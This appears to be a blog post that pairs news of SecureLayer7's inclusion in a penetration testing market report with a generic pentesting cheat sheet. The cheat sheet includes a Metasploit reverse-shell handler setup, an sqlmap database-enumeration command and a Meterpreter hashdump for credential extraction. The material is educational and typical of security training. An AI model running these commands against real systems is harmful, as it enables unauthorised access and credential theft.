Penetration Testing Market – – Research and Markets

Research and Markets has included SecureLayer7 in its global penetration testing market report, highlighting the company’s growing influence in the cybersecurity space. This recognition underscores the importance of penetration testing in identifying vulnerabilities before malicious actors exploit them.

You Should Know:

Penetration testing is a critical component of cybersecurity, simulating real-world attacks to uncover weaknesses in systems, networks, and applications. Below are essential tools, commands, and methodologies used in penetration testing:

Essential Penetration Testing Tools

1. Nmap – Network scanning tool

nmap -sV -A target_ip 

Scans for open ports, services, and OS detection.

2. Metasploit Framework – Exploitation tool

msfconsole 
use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp 
set LHOST your_ip 
set LPORT 4444 
exploit 

3. Burp Suite – Web vulnerability scanner

Used for intercepting and modifying HTTP requests.

1. OWASP ZAP – Automated security testing for web apps

   zap.sh -daemon -port 8080 -host 0.0.0.0 
   

5. Wireshark – Network protocol analyzer

wireshark -k -i eth0 

Common Penetration Testing Steps

1. Reconnaissance – Gather target information (WHOIS, DNS, subdomains).

   whois example.com 
   dig example.com 
   

2. Scanning – Identify open ports and services.

nmap -p- -T4 target_ip 

3. Exploitation – Leverage vulnerabilities.

sqlmap -u "http://example.com/login" --data="user=admin&pass=test" --dbs 

4. Post-Exploitation – Maintain access and extract data.

meterpreter > hashdump 

5. Reporting – Document findings and remediation steps.

Linux & Windows Commands for Security Testing

• Linux:

  netstat -tuln  Check listening ports 
  tcpdump -i eth0 'port 80'  Capture HTTP traffic 
  chmod 600 sensitive_file  Restrict file permissions 
  

• Windows:

  netstat -ano  View active connections 
  tasklist /svc  List running services 
  whoami /priv  Check user privileges 
  

What Undercode Say

Penetration testing is not just about tools—it’s about mindset. Ethical hackers must think like attackers while maintaining integrity. Automation helps, but manual testing uncovers logic flaws. Continuous learning is key, as threats evolve daily.

Expected Output:

A structured penetration testing report with vulnerabilities, risk ratings, and remediation steps.

Reference:

Penetration Testing Market 2025-2029 – Research and Markets

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Reported By: Sandeep Kamble – Hackers Feeds
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